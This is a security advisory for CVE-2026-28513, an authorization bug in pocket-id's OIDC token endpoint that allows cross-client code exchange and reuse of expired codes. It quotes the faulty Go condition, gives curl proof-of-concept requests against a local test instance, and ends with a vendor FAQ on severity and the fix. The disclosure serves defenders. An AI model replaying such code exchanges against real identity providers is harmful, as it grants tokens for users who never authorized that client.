CVE-2026-28513

The OIDC token endpoint rejects an authorization code only when both the client ID is wrong and the code is expired. This allows cross-client code exchange and expired code reuse.

Details

backend/internal/service/oidc_service.go:407

if authorizationCodeMetaData.ClientID != input.ClientID && authorizationCodeMetaData.ExpiresAt.ToTime().Before(time.Now()) {
    return CreatedTokens{}, &common.OidcInvalidAuthorizationCodeError{}
}

&& should be ||. Current behavior:

PoC

Prerequisite: pocket-id running with APP_ENV=test and BUILD_TAGS=e2etest. The test user (Tim Cook) must have authorized both Nextcloud and Immich OIDC clients (i.e., user_authorized_oidc_clients records exist for both). The seed data includes an authorization code auth-code issued for the Nextcloud client.

# 1. Seed test data
curl -X POST "http://localhost:1411/api/test/reset?skip-ldap=true"

# 2. Exchange Nextcloud's auth code using Immich's credentials
curl -X POST http://localhost:1411/api/oidc/token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=authorization_code" \
  -d "code=auth-code" \
  -d "client_id=606c7782-f2b1-49e5-8ea9-26eb1b06d018" \
  -d "client_secret=PYjrE9u4v9GVqXKi52eur0eb2Ci4kc0x" \
  -d "redirect_uri=http://immich/auth/callback"
# Expected: 400 (wrong client)
# Actual: 200 with tokens, access_token.aud = Immich client ID

Verified result: HTTP 200 with tokens. The access_token audience is 606c7782-... (Immich), despite the authorization code being issued for 3654a746-... (Nextcloud).

Any OIDC client operator can exchange authorization codes issued for other clients, obtaining tokens for users who never authorized that client. Expired authorization codes can also be reused with the correct client until the 24-hour cleanup job runs.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-28513 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260307173642-b59e35cb59ae); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-28513? CVE-2026-28513 is a high-severity incorrect authorization vulnerability in github.com/pocket-id/pocket-id/backend (go), affecting versions < 0.0.0-20260307173642-b59e35cb59ae. It is fixed in 0.0.0-20260307173642-b59e35cb59ae. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-28513? CVE-2026-28513 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/pocket-id/pocket-id/backend are affected by CVE-2026-28513? github.com/pocket-id/pocket-id/backend (go) versions < 0.0.0-20260307173642-b59e35cb59ae is affected.
4. Is there a fix for CVE-2026-28513? Yes. CVE-2026-28513 is fixed in 0.0.0-20260307173642-b59e35cb59ae. Upgrade to this version or later.
5. Is CVE-2026-28513 exploitable, and should I be worried? Whether CVE-2026-28513 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28513 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28513? Upgrade github.com/pocket-id/pocket-id/backend to 0.0.0-20260307173642-b59e35cb59ae or later.